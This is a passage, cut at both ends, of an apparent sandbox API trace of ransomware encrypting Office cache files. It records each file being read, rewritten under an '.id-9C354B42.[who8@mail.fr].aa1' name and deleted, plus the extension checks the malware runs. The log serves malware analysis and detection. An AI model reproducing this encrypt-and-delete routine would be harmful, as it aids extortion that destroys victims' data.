dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.443] GetLastError () returned 0x0 [0200.443] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x93a, lpOverlapped=0x0) returned 1 [0200.444] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x940, lpOverlapped=0x0) returned 1 [0200.445] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.445] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.445] SetEndOfFile (hFile=0x15c) returned 1 [0200.446] CloseHandle (hObject=0x15c) returned 1 [0200.448] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.448] SetEndOfFile (hFile=0x190) returned 1 [0200.463] CloseHandle (hObject=0x190) returned 1 [0200.463] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.463] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.464] lstrlenW (lpString=".doc") returned 4 [0200.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".docx") returned 5 [0200.464] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.464] lstrlenW (lpString=".pdf") returned 4 [0200.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".xls") returned 4 [0200.464] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".xlsx") returned 5 [0200.464] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.464] lstrlenW (lpString=".ppt") returned 4 [0200.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.464] lstrlenW (lpString=".zip") returned 4 [0200.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.464] lstrlenW (lpString=".rar") returned 4 [0200.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".bz2") returned 4 [0200.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".7z") returned 3 [0200.464] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.465] lstrlenW (lpString=".dbf") returned 4 [0200.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.465] lstrlenW (lpString=".1cd") returned 4 [0200.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.465] lstrlenW (lpString=".jpg") returned 4 [0200.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.465] lstrlenW (lpString=".doc") returned 4 [0200.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString=".docx") returned 5 [0200.465] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.465] lstrlenW (lpString=".pdf") returned 4 [0200.465] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString=".xls") returned 4 [0200.465] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString=".xlsx") returned 5 [0200.465] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.466] lstrlenW (lpString=".ppt") returned 4 [0200.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.466] lstrlenW (lpString=".zip") returned 4 [0200.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.466] lstrlenW (lpString=".rar") returned 4 [0200.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".bz2") returned 4 [0200.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".7z") returned 3 [0200.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.466] lstrlenW (lpString=".dbf") returned 4 [0200.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.466] lstrlenW (lpString=".1cd") returned 4 [0200.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.466] lstrlenW (lpString=".jpg") returned 4 [0200.466] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.467] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.467] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0200.467] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.468] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1231) returned 1 [0200.468] CloseHandle (hObject=0x190) returned 1 [0200.468] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0200.468] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.468] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.468] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.469] GetLastError () returned 0x0 [0200.469] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4cf, lpOverlapped=0x0) returned 1 [0200.470] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0200.471] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.471] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0200.471] SetEndOfFile (hFile=0x15c) returned 1 [0200.472] CloseHandle (hObject=0x15c) returned 1 [0200.472] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.472] SetEndOfFile (hFile=0x190) returned 1 [0200.754] CloseHandle (hObject=0x190) returned 1 [0200.755] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.755] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0200.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.755] lstrlenW (lpString=".doc") returned 4 [0200.755] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.755] lstrlenW (lpString=".docx") returned 5 [0200.755] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.755] lstrlenW (lpString=".pdf") returned 4 [0200.755] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.755] lstrlenW (lpString=".xls") returned 4 [0200.755] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.755] lstrlenW (lpString=".xlsx") returned 5 [0200.755] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.755] lstrlenW (lpString=".ppt") returned 4 [0200.755] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.755] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.755] lstrlenW (lpString=".zip") returned 4 [0200.755] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.755] lstrlenW (lpString=".rar") returned 4 [0200.755] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.755] lstrlenW (lpString=".bz2") returned 4 [0200.756] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString=".7z") returned 3 [0200.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString=".dbf") returned 4 [0200.756] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString=".1cd") returned 4 [0200.756] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString=".jpg") returned 4 [0200.756] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString=".doc") returned 4 [0200.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString=".docx") returned 5 [0200.756] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.756] lstrlenW (lpString=".pdf") returned 4 [0200.756] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString=".xls") returned 4 [0200.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString=".xlsx") returned 5 [0200.756] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.756] lstrlenW (lpString=".ppt") returned 4 [0200.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.756] lstrlenW (lpString=".zip") returned 4 [0200.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.756] lstrlenW (lpString=".rar") returned 4 [0200.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.757] lstrlenW (lpString=".bz2") returned 4 [0200.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.757] lstrlenW (lpString=".7z") returned 3 [0200.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.757] lstrlenW (lpString=".dbf") returned 4 [0200.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.757] lstrlenW (lpString=".1cd") returned 4 [0200.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0200.757] lstrlenW (lpString=".jpg") returned 4 [0200.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.757] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.757] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0200.757] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.864] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=913) returned 1 [0200.865] CloseHandle (hObject=0x19c) returned 1 [0200.865] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0200.865] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.865] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.865] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0200.865] GetLastError () returned 0x0 [0200.865] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x391, lpOverlapped=0x0) returned 1 [0200.868] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0200.869] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.869] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0200.869] SetEndOfFile (hFile=0x1ac) returned 1 [0200.869] CloseHandle (hObject=0x1ac) returned 1 [0200.870] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.870] SetEndOfFile (hFile=0x19c) returned 1 [0200.871] CloseHandle (hObject=0x19c) returned 1 [0200.871] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.872] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0200.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.872] lstrlenW (lpString=".doc") returned 4 [0200.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.872] lstrlenW (lpString=".docx") returned 5 [0200.872] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.872] lstrlenW (lpString=".pdf") returned 4 [0200.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.872] lstrlenW (lpString=".xls") returned 4 [0200.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.872] lstrlenW (lpString=".xlsx") returned 5 [0200.872] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.872] lstrlenW (lpString=".ppt") returned 4 [0200.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.872] lstrlenW (lpString=".zip") returned 4 [0200.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.872] lstrlenW (lpString=".rar") returned 4 [0200.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".bz2") returned 4 [0200.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".7z") returned 3 [0200.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString=".dbf") returned 4 [0200.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString=".1cd") returned 4 [0200.873] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString=".jpg") returned 4 [0200.873] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString=".doc") returned 4 [0200.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".docx") returned 5 [0200.873] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.873] lstrlenW (lpString=".pdf") returned 4 [0200.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".xls") returned 4 [0200.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".xlsx") returned 5 [0200.873] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.873] lstrlenW (lpString=".ppt") returned 4 [0200.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.873] lstrlenW (lpString=".zip") returned 4 [0200.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.873] lstrlenW (lpString=".rar") returned 4 [0200.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.873] lstrlenW (lpString=".bz2") returned 4 [0200.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.874] lstrlenW (lpString=".7z") returned 3 [0200.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.874] lstrlenW (lpString=".dbf") returned 4 [0200.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.874] lstrlenW (lpString=".1cd") returned 4 [0200.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0200.874] lstrlenW (lpString=".jpg") returned 4 [0200.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.874] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.874] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0200.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.874] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5557) returned 1 [0200.874] CloseHandle (hObject=0x19c) returned 1 [0200.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0200.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.875] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.875] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 